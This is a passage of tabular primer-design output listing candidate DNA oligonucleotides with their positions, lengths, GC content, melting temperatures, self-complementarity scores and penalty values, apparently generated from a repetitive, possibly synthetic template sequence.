60.816 30.84 27.90 36.80  2.816\n 242 gctagctgatcgatcgatgcta           394 22  0 50.00 60.816 34.11 32.56 36.80  2.816\n 243 tagctagctgatcgatcgatgc           392 22  0 50.00 60.816 24.08 21.09 35.21  2.816\n 244 gctaggcgatgctagctag              416 19  0 57.89 58.179 17.46 17.46 35.42  2.821\n 245 ctagctaggcgatgctagc              413 19  0 57.89 58.179 18.68  9.44 36.95  2.821\n 246 gctagctaggcgatgctag              412 19  0 57.89 58.179 23.16 23.16 38.59  2.821\n 247 catctctgcgcgatcgatgc             364 20  0 60.00 62.823 22.01 22.01 38.48  2.823\n 248 aaagcatcggattagctagct              1 21  0 42.86 58.168 23.74 23.74  0.00  2.832\n 249 ctgactgatcgatcgatgctag           114 22  0 50.00 59.155 22.81 19.44 35.21  2.845\n 250 ctagctgactgatcgatcgatg           110 22  0 50.00 59.155 23.05 13.21 35.21  2.845\n 251 tactatcatctctgcgcgatc            358 21  0 47.62 58.155  4.99  0.00  0.00  2.845\n 252 gctagctactgatcgatgctac           304 22  0 50.00 59.151  8.57  4.26  0.00  2.849\n 253 ctactatcatctctgcgcgat            357 21  0 47.62 58.150  4.99  2.52  0.00  2.850\n 254 agctgatcatcgatgctact             194 20  0 45.00 57.134 17.14  8.95  0.00  2.866\n 255 gctagctagctgatcatcgat            187 21  0 47.62 58.132 34.38  0.00 46.11  2.868\n 256 ctgatacgcgatgctagct              477 19  0 52.63 58.107 17.69  1.35  0.00  2.893\n 257 ggcgatctagctagctgac              583 19  0 57.89 58.106 14.84  7.25 37.58  2.894\n 258 tgactgatcgatcgatgctag            115 21  0 47.62 58.084 22.81 19.44 35.21  2.916\n 259 ctgactgatcgatcgatgcta            114 21  0 47.62 58.084 26.44 14.64 35.21  2.916\n 260 tagctgactgatcgatcgatg            111 21  0 47.62 58.084 23.05 13.21 35.21  2.916\n 261 actgatcgatcatcatgctagc           269 22  0 45.45 59.071 26.67  8.61 41.77  2.929\n 262 agctgactgatcgatcatca             264 20  0 45.00 57.064 26.49 26.49 39.98  2.936\n 263 ctagctagctgatcgatcga             391 20  0 50.00 57.060 22.52 22.52  0.00  2.940\n 264 ctagctagctgatcgatcga              71 20  0 50.00 57.060 22.52 22.52  0.00  2.940\n 265 gatcgatcgatgtgcggctag             81 21  0 57.14 61.947 19.16  0.00 41.65  2.947\n 266 tgctagctaggcgatgct               411 18  0 55.56 59.050 17.69  7.53  0.00  2.950\n 267 gctgatcgatcgtagcggc              567 19  0 63.16 61.960 20.49 19.38  0.00  2.960\n 268 cgatcgatgtgcggctag                84 18  0 61.11 59.032 10.82  0.00 41.65  2.968\n 269 tgatcgatcgatgtgcggct              80 20  0 55.00 62.987 22.21  0.00 41.65  2.987\n 270 ctgactgatcgatcatcatgct           266 22  0 45.45 59.004 20.99  6.82 41.77  2.996\n 271 agctgactgatcgatcatcatg           264 22  0 45.45 59.004 22.70 19.51 41.77  2.996\n 272 agctagctgactgatacgcga            467 21  0 52.38 62.000 17.99  0.00  0.00  3.000\n 273 tgactgatcgatcgatgctagc           115 22  0 50.00 61.008 18.17 12.52 35.21  3.008\n 274 gctgactgatcgatcgatgcta           113 22  0 50.00 61.008 26.44 14.64 35.21  3.008\n 275 tagctgactgatcgatcgatgc           111 22  0 50.00 61.008 24.08 19.43 35.21  3.008\n 276 agctagctgatcgatcgatgtg            73 22  0 50.00 61.010 17.99  6.93 35.21  3.010\n 277 ctgatcgatcgatgctagctag           399 22  0 50.00 58.963 19.70 17.46 35.21  3.037\n 278 ctagctgatcgatcgatgctag           395 22  0 50.00 58.963 37.86 37.86 43.17  3.037\n 279 ctagctagctgatcgatcgatg           391 22  0 50.00 58.963 21.99 11.03 35.21  3.037\n 280 ctgatcgatcgatgctagctag           118 22  0 50.00 58.963 19.70 17.46 35.21  3.037\n 281 ctagctagctgatcgatcgatg            71 22  0 50.00 58.963 21.99 11.03 35.21  3.037\n 282 gactgatcgatcatcatgctagc          268 23  0 47.83 60.053 24.51  9.03 41.77  3.053\n 283 gctagtgatgcatgctagtagtg           25 23  0 47.83 59.929 24.96 10.54  0.00  3.071\n 284 gctactatcatctctgcgcgat           356 22  0 50.00 61.073  4.99  2.52  0.00  3.073\n 285 gtagcggcgatctagctag              578 19  0 57.89 57.903 15.64 15.64 37.58  3.097\n 286 tgactgatcgatcatcatgct            267 21  0 42.86 57.900 26.79 12.28 41.77  3.100\n 287 ctagctactatcatctctgcgc           353 22  0 50.00 58.892  0.00  0.00  0.00  3.108\n 288 gctagctactatcatctctgcg           352 22  0 50.00 58.892  8.21  0.00  0.00  3.108\n 289 ctagctagctactgatcgatgc           301 22  0 50.00 58.892 14.00  1.76  0.00  3.108\n 290 gctagctagctactgatcgatg           300 22  0 50.00 58.892 34.38  7.78 46.11  3.108\n 291 catcgatcgatgctagtatgct           325 22  0 45.45 58.885 37.80 10.02 44.93  3.115\n 292 tgatcgatcgatgctagctag            400 21  0 47.62 57.879 26.44 17.46 35.21  3.121\n 293 ctgatcgatcgatgctagcta            399 21  0 47.62 57.879 19.70  3.77 35.21  3.121\n 294 tagctgatcgatcgatgctag            396 21  0 47.62 57.879 34.03 27.12 36.80  3.121\n 295 ctagctgatcgatcgatgcta            395 21  0 47.62 57.879 34.11 32.56 36.80  3.121\n 296 tagctagctgatcgatcgatg            392 21  0 47.62 57.879 21.99 11.03 35.21  3.121\n 297 tgatcgatcgatgctagctag            119 21  0 47.62 57.879 26.44 17.46 35.21  3.121\n 298 ctgatcgatcgatgctagcta            118 21  0 47.62 57.879 19.70  3.77 35.21  3.121\n 299 tagctagctgatcgatcgatg             72 21  0 47.62 57.879 21.99 11.03 35.21  3.121\n 300 gatcgatcgatgctagctagt            120 21  0 47.62 57.878 23.89  3.56 35.21  3.122\n 301 ctatcatctctgcgcgatcgat           360 22  0 50.00 61.132 22.07 11.47 38.48  3.132\n 302 tgatcgatcgtagcggcga              569 19  0 57.89 62.144 20.58  8.51 45.59  3.144\n 303 tcgtagcggcgatctagctag            576 21  0 57.14 62.173 15.64 15.64 36.40  3.173\n 304 tactagctagctgactgatacgc          463 23  0 47.83 60.176 13.17  0.00  0.00  3.176\n 305 ctgatcatcatcgatgctagct           517 22  0 45.45 58.807 17.69  1.76 40.32  3.193\n 306 agctgatcatcatcgatgctag           515 22  0 45.45 58.807  5.93  2.76 40.32  3.193\n 307 ctagctgatcatcatcgatgct           513 22  0 45.45 58.807 14.14  8.34 40.32  3.193\n 308 agctagctgatcatcatcgatg           511 22  0 45.45 58.807 20.23 20.23 41.48  3.193\n 309 ctgatcgatcatcatgctagct           270 22  0 45.45 58.807 26.67  0.00 41.77  3.193\n 310 ctagctgactgatcgatcgat            110 21  0 47.62 57.806 30.53 30.53 37.90  3.194\n 311 ttagctagctgactgatcgatca          258 23  0 43.48 59.798 28.29 26.99 35.44  3.202\n 312 tagctactatcatctctgcgc            354 21  0 47.62 57.798  0.00  0.00  0.00  3.202\n 313 gctagctactgatcgatgcta            304 21  0 47.62 57.798 12.99 12.23  0.00  3.202\n 314 tagctagctactgatcgatgc            302 21  0 47.62 57.798 27.80  1.76  0.00  3.202\n 315 tctctgcgcgatcgatgc               366 18  0 61.11 61.229 22.01 22.01 38.48  3.229\n 316 ctctgcgcgatcgatgct               367 18  0 61.11 61.232 26.61  0.00 38.48  3.232\n 317 agctagctactatcatctctgcg          351 23  0 47.83 60.238 17.56  0.00  0.00  3.238\n 318 ctagctagctactgatcgatgct          301 23  0 47.83 60.238 14.00 11.51  0.00  3.238\n 319 ctgatcgatcgtagcggc               568 18  0 61.11 58.727 14.21  0.00  0.00  3.273\n 320 gctgatcgatcgtagcgg               567 18  0 61.11 58.727 20.49 15.03  0.00  3.273\n 321 agctaggcgatgctagct               415 18  0 55.56 58.725 17.69 13.00 39.84  3.275\n 322 tgctagtgatgcatgctagtagt           24 23  0 43.48 60.302 24.96 12.98 35.89  3.302\n 323 gcgcgatcgatgctagct               371 18  0 61.11 61.306 21.66  1.35 38.48  3.306\n 324 tgatcatcatcgatgctagct            518 21  0 42.86 57.691 17.69  1.76 40.32  3.309\n 325 agctgatcatcatcgatgcta            515 21  0 42.86 57.691  0.24  0.00 40.32  3.309\n 326 tagctgatcatcatcgatgct            514 21  0 42.86 57.691 14.14  8.34 40.32  3.309\n 327 tgatcgatcatcatgctagct            271 21  0 42.86 57.691 27.48  0.00 37.38  3.309\n 328 ctagctagctgactgatacgcg           465 22  0 54.55 61.313 14.90  3.89  0.00  3.313\n 329 tgctagtgatgcatgctagtag            24 22  0 45.45 58.673 24.96 19.76 35.89  3.327\n 330 gctagtgatgcatgctagtagt            25 22  0 45.45 58.672 24.96 12.98  0.00  3.328\n 331 tagctagctgatcatcgatgcta          189 23  0 43.48 59.671 17.82 15.89  0.00  3.329\n 332 agctagctgactgatacgc              467 19  0 52.63 57.642 17.99  0.00  0.00  3.358\n 333 tatcatctctgcgcgatcgatg           361 22  0 50.00 61.383 18.01 18.01 38.48  3.383\n 334 agctgactgatcgatcatcat            264 21  0 42.86 57.616 26.31 18.90 41.77  3.384\n 335 actagctagctgatcatcatcga          508 23  0 43.48 59.607 22.43  0.00  0.00  3.393\n 336 tagctagctgactgatcgatcat          259 23  0 43.48 59.607 28.29 18.02 36.62  3.393\n 337 gatgctagctaggcgatgctag           409 22  0 54.55 61.393 23.16 23.16 38.59  3.393\n 338 cggcgatctagctagctgact            582 21  0 57.14 62.394 17.44  7.44 38.70  3.394\n 339 ctagctagctgatcgatcgat            391 21  0 47.62 57.600 30.53 30.53 37.90  3.400\n 340 ctagctagctgatcgatcgat             71 21  0 47.62 57.600 30.53 30.53 37.90  3.400\n 341 actgatcgatcatcatgctagct          269 23  0 43.48 60.428 26.67  4.70 41.77  3.428\n 342 ctagctagctgactgatcgatc           106 22  0 50.00 58.567 19.32 19.32  0.00  3.433\n 343 ctgactgatcgatcatcatgc            266 21  0 47.62 57.562 20.99 12.19 41.77  3.438\n 344 gctgactgatcgatcatcatg            265 21  0 47.62 57.562 22.70 19.51 41.77  3.438\n 345 gatcgatcgatgctagctaggc           401 22  0 54.55 61.448 23.89  8.45 35.21  3.448\n 346 gtgatgcatgctagtagtgatgt           29 23  0 43.48 59.551 11.60  0.00  0.00  3.449\n 347 tgctagtgatgcatgctagta             24 21  0 42.86 57.546 24.96 21.25 35.89  3.454\n 348 tagcggcgatctagctagctg            579 21  0 57.14 62.457 18.98  9.30 45.57  3.457\n 349 gtagcggcgatctagctagct            578 21  0 57.14 62.458 23.74 23.74 46.60  3.458\n 350 tagctgatcgatcgtagcg              565 19  0 52.63 57.539 25.02 11.96  0.00  3.461\n 351 gctagctagctactgatcgat            300 21  0 47.62 57.517 34.38  0.00 46.11  3.483\n 352 agctagctactgatcgatgctac          303 23  0 47.83 60.487 17.56  7.81  0.00  3.487\n 353 atcgatcgatgctagtatgct            326 21  0 42.86 57.502 29.65  2.17 33.56  3.498\n 354 agctactgatcgatgctacatc           307 22  0 45.45 58.484  7.41  0.00 37.97  3.516\n 355 agtgatgcatgctagtagtga             28 21  0 42.86 57.471  0.00  0.00  0.00  3.529\n 356 gactgatcgatcgatgctagcta          116 23  0 47.83 60.546 18.04  4.19 35.21  3.546\n 357 ctgatcgatcgatgctagctagt          118 23  0 47.83 60.547 22.18  3.56 35.21  3.547\n 358 actgatcgatcgatgctagctag          117 23  0 47.83 60.547 23.29 17.46 35.21  3.547\n 359 ctagctagctgatcgatcgatgt           71 23  0 47.83 60.547 14.29  2.62 35.21  3.547\n 360 catcgatcgatgctagtatgc            325 21  0 47.62 57.452 37.80  0.00 44.93  3.548\n 361 tagctagctgactgatcgatc            259 21  0 47.62 57.451 28.29 19.32  0.00  3.549\n 362 tagctagctgactgatcgatc            107 21  0 47.62 57.451 28.29 19.32  0.00  3.549\n 363 ctagctagctgactgatcgat            106 21  0 47.62 57.445 14.90  0.00  0.00  3.555\n 364 tcgatgctagctaggcga               407 18  0 55.56 58.427 15.59 13.52  0.00  3.573\n 365 tgatcgatcgatgctagctagta          119 23  0 43.48 59.424 26.44 18.77 35.21  3.576\n 366 ctgcgcgatcgatgctagc              369 19  0 63.16 62.586 20.26 12.12 38.48  3.586\n 367 agctagctgatcatcatcgat            511 21  0 42.86 57.405 17.99  0.00  0.00  3.595\n 368 tgcgcgatcgatgctagc               370 18  0 61.11 61.605 26.61 17.77 38.48  3.605\n 369 ctagctagctgatcgatcgtag           560 22  0 50.00 58.387 16.86 16.86  0.00  3.613\n 370 actagctagctgactgatacg            464 21  0 47.62 57.384 21.52  2.77  0.00  3.616\n 371 ctagctgactgatacgcga              469 19  0 52.63 57.370 16.29  0.00  0.00  3.630\n 372 gctactagctagctgactgat            461 21  0 47.62 57.360 15.96  3.00 44.92  3.640\n 373 ctgatcatcatcgatgctagc            517 21  0 47.62 57.358  8.61  8.61 40.32  3.642\n 374 gctgatcatcatcgatgctag            516 21  0 47.62 57.358  5.93  2.76 40.32  3.642\n 375 ctagctgatcatcatcgatgc            513 21  0 47.62 57.358 21.42  7.40 40.32  3.642\n 376 gctagctgatcatcatcgatg            512 21  0 47.62 57.358 20.23 20.23 41.48  3.642\n 377 ctgatcgatcatcatgctagc            270 21  0 47.62 57.358 26.67  8.61 41.77  3.642\n 378 agctactgatcgatgctacat            307 21  0 42.86 57.344  7.41  0.00  0.00  3.656\n 379 tgatcgatcgatgtgcggcta             80 21  0 52.38 62.663 22.21  0.24 41.65  3.663\n 380 atctctgcgcgatcgatg               365 18  0 55.56 58.327 12.03  4.19 38.48  3.673\n 381 catctctgcgcgatcgat               364 18  0 55.56 58.327 22.07  1.26 38.48  3.673\n 382 atcatctctgcgcgatcg               362 18  0 55.56 58.327 12.19 12.19 39.07  3.673\n 383 aagcatcggattagctagctgat            2 23  0 43.48 60.682 17.84 15.13  0.00  3.682\n 384 agtgatgcatgctagtagtgatg           28 23  0 43.48 59.299  7.49  7.49  0.00  3.701\n 385 gatcgatgctagctaggcgatg           405 22  0 54.55 61.702 24.26  6.24  0.00  3.702\n 386 atctctgcgcgatcgatgcta            365 21  0 52.38 62.723 26.61 17.10 38.48  3.723\n 387 tagctagctgactgatacgcga           466 22  0 50.00 61.730 28.29  0.00  0.00  3.730\n 388 tagctagctgatcgatcgtag            561 21  0 47.62 57.269 16.86 16.86  0.00  3.731\n 389 ctagctagctgatcgatcgta            560 21  0 47.62 57.269 11.68  3.07  0.00  3.731\n 390 tcgatcgatgctagctagtag            122 21  0 47.62 57.269 18.63  2.63  0.00  3.731\n 391 gctagctactgatcgatgctaca          304 23  0 47.83 60.734 11.21  0.06  0.00  3.734\n 392 agctagctgactgatcgatcatc          260 23  0 47.83 60.736 23.93 21.92 36.62  3.736\n 393 agctagctgactgatcgatcga           108 22  0 50.00 61.737 22.52 22.52  0.00  3.737\n 394 tctctgcgcgatcgatgct              366 19  0 57.89 62.740 26.61  0.00 38.48  3.740\n 395 tgatgcatgctagtagtgatgt            30 22  0 40.91 58.256 11.60  0.00  0.00  3.744\n 396 tgatcgatcgatgtgcgg                80 18  0 55.56 58.244 21.27  0.00 41.65  3.756\n 397 cgatcgatgctagctaggcga            404 21  0 57.14 62.770 16.30 16.30  0.00  3.770\n 398 tcgatcgatgctagctaggcg            403 21  0 57.14 62.770 18.63 11.67  0.00  3.770\n 399 atcgatcgatgcatgcatg              443 19  0 47.37 57.226 29.65 23.31 37.30  3.774\n 400 catcgatcgatgcatgcat              442 19  0 47.37 57.226 37.80 33.45 44.93  3.774\n 401 actagctagctgatcatcatcg           508 22  0 45.45 58.219 22.43  3.40  0.00  3.781\n 402 ctgatcatcgatgctactagct           196 22  0 45.45 58.219 10.86  0.00 45.92  3.781\n 403 agctgatcatcgatgctactag           194 22  0 45.45 58.219 13.67  9.68  0.00  3.781\n 404 ctagctgatcatcgatgctact           192 22  0 45.45 58.219 14.85  7.80  0.00  3.781\n 405 tttagctagctgactgatcga            257 21  0 42.86 57.216  0.38  0.00  0.00  3.784\n 406 tagctagctgatcgatcgatgtg           72 23  0 47.83 60.793 10.14  4.94 35.21  3.793\n 407 gctagctagctgatcatcatct           146 22  0 45.45 58.203 34.38  0.00 46.11  3.797\n 408 ctagctagctgatcatcgatgct          188 23  0 47.83 60.799 16.29 15.30  0.00  3.799\n 409 agctagctactatcatcgatcga          429 23  0 43.48 59.170 22.52 22.52  0.00  3.830\n 410 ttagctagctgactgatcgatc           258 22  0 45.45 58.159 28.29 19.32  0.00  3.841\n 411 ctagctgactgatcgatcatca           262 22  0 45.45 58.155 26.49 26.49 39.98  3.845\n 412 aaagcatcggattagctagctga            1 23  0 43.48 60.870 28.29 20.88  0.00  3.870\n 413 agctgactgatacgcgatgct            471 21  0 52.38 62.876  7.57  2.13  0.00  3.876\n 414 tagctagctactgatcgatgcta          302 23  0 43.48 59.102 27.80 12.23  0.00  3.898\n 415 tcatcatcgatgctagctagt            521 21  0 42.86 57.067 22.18  3.56 40.32  3.933\n 416 tcgatcatcatgctagctact            274 21  0 42.86 57.067  0.00  0.00  0.00  3.933\n 417 tgatcatcgatgctactagct            197 21  0 42.86 57.067 17.14  0.00 45.92  3.933\n 418 agctgatcatcgatgctacta            194 21  0 42.86 57.067 17.14  4.89  0.00  3.933\n 419 tagctgatcatcgatgctact            193 21  0 42.86 57.067 14.85  7.80  0.00  3.933\n 420 tcgatcgatgctagtatgctag           327 22  0 45.45 58.044 18.63 13.77 46.09  3.956\n 421 gcgatctagctagctgact              584 19  0 52.63 57.034 17.44  7.44  0.00  3.966\n 422 gctactgatcgatgctacatc            308 21  0 47.62 57.028  2.44  0.00 37.97  3.972\n 423 cggcgatctagctagctg               582 18  0 61.11 58.018 17.07  8.17 37.58  3.982\n 424 gctagctgactgatcgatcatca          261 23  0 47.83 60.983 26.49 26.49 39.98  3.983\n 425 actatcatctctgcgcgat              359 19  0 47.37 57.015  4.99  2.52  0.00  3.985\n 426 catcggattagctagctgatg              5 21  0 47.62 57.003 23.69 23.29  0.00  3.997\n 427 tagctgactgatcgatcatca            263 21  0 42.86 57.000 26.49 26.49 39.98  4.000\n 428 actagctagctgatcatcatcgat         508 24  0 41.67 59.995 22.43  0.00  0.00  4.005\n 429 agtgatgcatgctagtagtgat            28 22  0 40.91 57.984  0.00  0.00  0.00  4.016\n 430 ctagctagctgatcatcatcga           509 22  0 45.45 57.958 11.68  0.00  0.00  4.042\n 431 gctgatcatcgatgctactagct          195 23  0 47.83 61.046 20.91  5.24 45.92  4.046\n 432 agctgatcatcgatgctactagc          194 23  0 47.83 61.046 20.78 20.78 45.61  4.046\n 433 gctagctgatcatcgatgctact          191 23  0 47.83 61.046 12.59  8.92  0.00  4.046\n 434 agctagctgatcatcgatgctac          190 23  0 47.83 61.046 17.99  7.99  0.00  4.046\n 435 tagctagctactatcatctctgcg         350 24  0 45.83 60.058 27.80  0.00  0.00  4.058\n 436 ctagctagctactgatcgatgcta         301 24  0 45.83 60.058 14.00 12.23  0.00  4.058\n 437 agctactatcatctctgcgcga           355 22  0 50.00 62.058  2.71  2.71  0.00  4.058\n 438 gctatttagctagctgactgatcg         253 24  0 45.83 60.060  7.27  0.00 46.11  4.060\n 439 tgatcgatcatcatgctagctac          271 23  0 43.48 58.931 27.48  0.00 37.38  4.069\n 440 gtgatgcatgctagtagtgatg            29 22  0 45.45 57.921  7.49  7.49  0.00  4.079\n 441 ctagctagctgactgatcgatcg          106 23  0 52.17 61.091 16.84 13.89  0.00  4.091\n 442 ctagctactgatcgatgctaca           305 22  0 45.45 57.898 13.79  1.61  0.00  4.102\n 443 cggcgatctagctagctgacta           582 22  0 54.55 62.109 17.44  5.40 38.70  4.109\n 444 atgctagctaggcgatgc               410 18  0 55.56 57.890 10.59  0.00  0.00  4.110\n 445 ctgatcgatcatcatgctagctac         270 24  0 45.83 59.882 26.67  0.00 41.77  4.118\n 446 gctactagctagctgatcatca           505 22  0 45.45 57.879 14.37  0.00 44.92  4.121\n 447 gctactagctagctgatcatca           208 22  0 45.45 57.879 14.37  0.00 44.92  4.121\n 448 ctgactgatacgcgatgctagc           473 22  0 54.55 62.128  8.61  8.61  0.00  4.128\n 449 gctgactgatacgcgatgctag           472 22  0 54.55 62.128  1.70  0.00  0.00  4.128\n 450 ctagctgactgatacgcgatgc           469 22  0 54.55 62.128  3.47  0.00  0.00  4.128\n 451 gctagctgactgatacgcgatg           468 22  0 54.55 62.128  8.21  0.00  0.00  4.128\n 452 tgactgatcgatcatcatgctag          267 23  0 43.48 58.866 26.79 18.40 41.77  4.134\n 453 ctgactgatcgatcatcatgcta          266 23  0 43.48 58.866 20.99  8.89 41.77  4.134\n 454 tagctgactgatcgatcatcatg          263 23  0 43.48 58.866 22.70 19.51 41.77  4.134\n 455 ctagctagctgatcgatcgtagc          560 23  0 52.17 61.151 26.87 26.87  0.00  4.151\n 456 gctagctagctgatcgatcgtag          559 23  0 52.17 61.151 34.38 16.86 46.11  4.151\n 457 ctgatcgatcgatgctagctagg          399 23  0 52.17 61.158 22.67  6.29 35.21  4.158\n 458 gatcgatcgatgctagctagtag          120 23  0 47.83 58.829 23.89  2.63 35.21  4.171\n 459 ttagctagctgactgatcgatcat         258 24  0 41.67 60.177 28.29 18.02 36.62  4.177\n 460 ctgactgatcgatcatcatgctag         266 24  0 45.83 59.822 20.99 12.80 41.77  4.178\n 461 ctagctgactgatcgatcatcatg         262 24  0 45.83 59.822 22.70 19.51 41.77  4.178\n 462 ctagctgatcgatcgatgtgcg            75 22  0 54.55 62.180 31.92 20.85 42.69  4.180\n 463 tttagctagctgactgatcgatc          257 23  0 43.48 58.807 19.32 19.32  0.00  4.193\n 464 tgactgatcgatcatcatgcta           267 22  0 40.91 57.803 26.79 13.11 41.77  4.197\n 465 gctagctactatcatcgatcga           430 22  0 45.45 57.783 22.52 22.52  0.00  4.217\n 466 gatcgatcgatgctagctagta           120 22  0 45.45 57.783 23.89 18.77 35.21  4.217\n 467 agctagctactatcatcgatcg           429 22  0 45.45 57.777 17.56  9.87  0.00  4.223\n 468 atcgatcgatgctagctagtag           121 22  0 45.45 57.777 29.65  2.63 33.56  4.223\n 469 tgatcatcatcgatgctagctagt         518 24  0 41.67 60.238 22.18  3.56 40.32  4.238\n 470 tgatcgatcatcatgctagctact         271 24  0 41.67 60.238 27.48  0.00 37.38  4.238\n 471 actgatcgatcatcatgctagcta         269 24  0 41.67 60.238 26.67  2.76 41.77  4.238\n 472 catcgatcgatgctagtatgcta          325 23  0 43.48 58.753 37.80  6.23 44.93  4.247\n 473 tttagctagctgactgatcgat           257 22  0 40.91 57.736  0.38  0.00  0.00  4.264\n 474 atttagctagctgactgatcga           256 22  0 40.91 57.736  4.16  0.00  0.00  4.264\n 475 cgcgatcgatgctagcta               372 18  0 55.56 57.717 22.07  3.08 38.48  4.283\n 476 catcgatcgatgctagtatgctag         325 24  0 45.83 59.708 37.80 16.01 44.93  4.292\n 477 tagctagctactgatcgatgctac         302 24  0 45.83 60.297 27.80  7.81  0.00  4.297\n 478 agcatcggattagctagctgatg            3 23  0 47.83 61.299 27.81 27.81 33.28  4.299\n 479 agctagctgactgatacgcgat           467 22  0 50.00 62.317 17.99  0.00  0.00  4.317\n 480 tgatcatcatcgatgctagctag          518 23  0 43.48 58.678 17.46 17.46 40.32  4.322\n 481 ctgatcatcatcgatgctagcta          517 23  0 43.48 58.678 17.69  2.41 40.32  4.322\n 482 tagctgatcatcatcgatgctag          514 23  0 43.48 58.678  9.90  2.76 40.32  4.322\n 483 ctagctgatcatcatcgatgcta          513 23  0 43.48 58.678 14.58  9.63 40.32  4.322\n 484 tagctagctgatcatcatcgatg          510 23  0 43.48 58.678 20.23 20.23 41.48  4.322\n 485 ctgatcgatcatcatgctagcta          270 23  0 43.48 58.678 26.67  2.76 41.77  4.322\n 486 gatcatcatcgatgctagctagt          519 23  0 43.48 58.677 22.18  3.56 40.32  4.323\n 487 gatcgatcatcatgctagctact          272 23  0 43.48 58.677 21.11  0.00  0.00  4.323\n 488 gctagctagctgactgatcgatc          105 23  0 52.17 61.341 34.38 19.32 46.11  4.341\n 489 tgatcgatcgatgctagctagtag         119 24  0 45.83 60.356 26.44  2.63 35.21  4.356\n 490 ctgatcgatcgatgctagctagta         118 24  0 45.83 60.356 22.18 18.77 35.21  4.356\n 491 ctgatcatcatcgatgctagctag         517 24  0 45.83 59.644 17.46 17.46 40.32  4.356\n 492 ctagctgatcatcatcgatgctag         513 24  0 45.83 59.644 19.54 18.30 42.07  4.356\n 493 ctagctagctgatcatcatcgatg         509 24  0 45.83 59.644 20.23 20.23 41.48  4.356\n 494 tttagctagctgactgatcgatca         257 24  0 41.67 60.358 26.99 26.99 35.44  4.358\n 495 actatcatctctgcgcgatcga           359 22  0 50.00 62.365 22.07  1.72 38.48  4.365\n 496 agctgatcgatcgtagcg               566 18  0 55.56 57.634 25.02 11.96  0.00  4.366\n 497 gctactagctagctgactgatac          461 23  0 47.83 58.626 15.96  1.42 44.92  4.374\n 498 agctgatcgatcgatgctagct           397 22  0 50.00 62.388 30.32 30.32 38.42  4.388\n 499 agctagctgatcgatcgatgct           393 22  0 50.00 62.388 33.87 33.38 38.16  4.388\n 500 ctagctgactgatcgatcatcat          262 23  0 43.48 58.612 26.31 20.43 41.77  4.388\n 501 agctagctactatcatctctgc           351 22  0 45.45 57.608 17.56  0.00  0.00  4.392\n 502 ctagctactatcatctctgcgcg          353 23  0 52.17 61.393  0.00  0.00  0.00  4.393\n 503 tgatcatcatcgatgctagcta           518 22  0 40.91 57.602 17.69  3.08 40.32  4.398\n 504 tagctgatcatcatcgatgcta           514 22  0 40.91 57.602 15.95  9.16 40.32  4.398\n 505 tgatcgatcatcatgctagcta           271 22  0 40.91 57.602 27.48  3.08 37.38  4.398\n 506 atcatcatcgatgctagctagt           520 22  0 40.91 57.595 22.18  3.56 40.32  4.405\n 507 atcgatcatcatgctagctact           273 22  0 40.91 57.595  0.00  0.00  0.00  4.405\n 508 agctagctactatcatcgatcgat         429 24  0 41.67 59.573 25.37 25.37 35.13  4.427\n 509 gctagctgatcgatcgatgtgc            74 22  0 54.55 62.443 31.83 30.04 35.21  4.443\n 510 tagctgactgatcgatcatcat           263 22  0 40.91 57.531 26.31 20.43 41.77  4.469\n 511 tagctagctgactgatcgatcga          107 23  0 47.83 61.487 28.29 22.52  0.00  4.487\n 512 atcgatcgatgctagtatgctag          326 23  0 43.48 58.501 29.65 13.77 46.09  4.499\n 513 ctagtgatgcatgctagtagtga           26 23  0 43.48 58.483 20.00  1.46  0.00  4.517\n 514 tagctagctgactgatcgatcatc         259 24  0 45.83 60.536 28.29 21.92 36.62  4.536\n 515 tactagctagctgatcatcatcga         507 24  0 41.67 59.449  0.00  0.00  0.00  4.551\n 516 gctagctagctactatcatcga           426 22  0 45.45 57.437 34.38  0.00 46.11  4.563\n 517 tgactgatacgcgatgctagct           474 22  0 50.00 62.569 17.69  1.35  0.00  4.569\n 518 agctgactgatacgcgatgcta           471 22  0 50.00 62.569  7.57  0.00  0.00  4.569\n 519 tagctgactgatacgcgatgct           470 22  0 50.00 62.569 10.87  8.44  0.00  4.569\n 520 atcgatcgatgctagtatgcta           326 22  0 40.91 57.423 29.65  0.00 33.56  4.577\n 521 ctagctagctgatcatcatcgat          509 23  0 43.48 58.422 11.68  0.00  0.00  4.578\n 522 agctgactgatcgatcgatgct           112 22  0 50.00 62.580 26.44 23.13 35.21  4.580\n 523 ctagctagctgatcatcgatgcta         188 24  0 45.83 60.596 16.78 15.81  0.00  4.596\n 524 gtgatgcatgctagtagtgatgta          29 24  0 41.67 59.398 11.60  8.84  0.00  4.602\n 525 gctgatcatcatcgatgctagct          516 23  0 47.83 61.603 20.15  8.14 40.32  4.603\n 526 agctgatcatcatcgatgctagc          515 23  0 47.83 61.603 20.04 19.26 40.32  4.603\n 527 gctagctgatcatcatcgatgct          512 23  0 47.83 61.603 14.14  8.34 40.32  4.603\n 528 agctagctgatcatcatcgatgc          511 23  0 47.83 61.603 21.42  7.40 40.32  4.603\n 529 tagtgatgcatgctagtagtga            27 22  0 40.91 57.391  0.01  0.00  0.00  4.609\n 530 ctactagctagctgactgatacg          462 23  0 47.83 58.387  3.12  0.00  0.00  4.613\n 531 tagctactgatcgatgctacatc          306 23  0 43.48 58.368 13.79  0.00 37.97  4.632\n 532 gactgatacgcgatgctagctag          475 23  0 52.17 61.633 17.46 17.46  0.00  4.633\n 533 ctagctactgatcgatgctacat          305 23  0 43.48 58.364 13.79  0.09  0.00  4.636\n 534 gctagctactatcatctctgcgc          352 23  0 52.17 61.644  8.21  0.00  0.00  4.644\n 535 gctagctagctactgatcgatgc          300 23  0 52.17 61.644 34.38 12.71 46.11  4.644\n 536 gctactagctagctgatcatcat          505 23  0 43.48 58.350 14.37  0.00 44.92  4.650\n 537 gctactagctagctgatcatcat          208 23  0 43.48 58.350 14.37  0.00 44.92  4.650\n 538 ctagctactgatcgatgctacatc         305 24  0 45.83 59.349 13.79  0.00 37.97  4.651\n 539 gctactagctagctgatcatcatc         505 24  0 45.83 59.343 14.37  0.00 44.92  4.657\n 540 gctactagctagctgatcatcatc         208 24  0 45.83 59.343 14.37  0.00 44.92  4.657\n 541 gctgatcatcatctagctagtagc         154 24  0 45.83 59.343 15.25 15.25 45.79  4.657\n 542 tagctagctgatcatcatcgat           510 22  0 40.91 57.329 10.14  0.00  0.00  4.671\n 543 ctactatcatctctgcgcgatcg          357 23  0 52.17 61.686 12.19 12.19 39.07  4.686\n 544 tactagctagctgactgatacg           463 22  0 45.45 57.310 13.17  0.00  0.00  4.690\n 545 gctgatcgatcgatgctagctag          398 23  0 52.17 61.697 27.88 18.22 35.21  4.697\n 546 ctagctgatcgatcgatgctagc          395 23  0 52.17 61.697 38.64 35.38 43.05  4.697\n 547 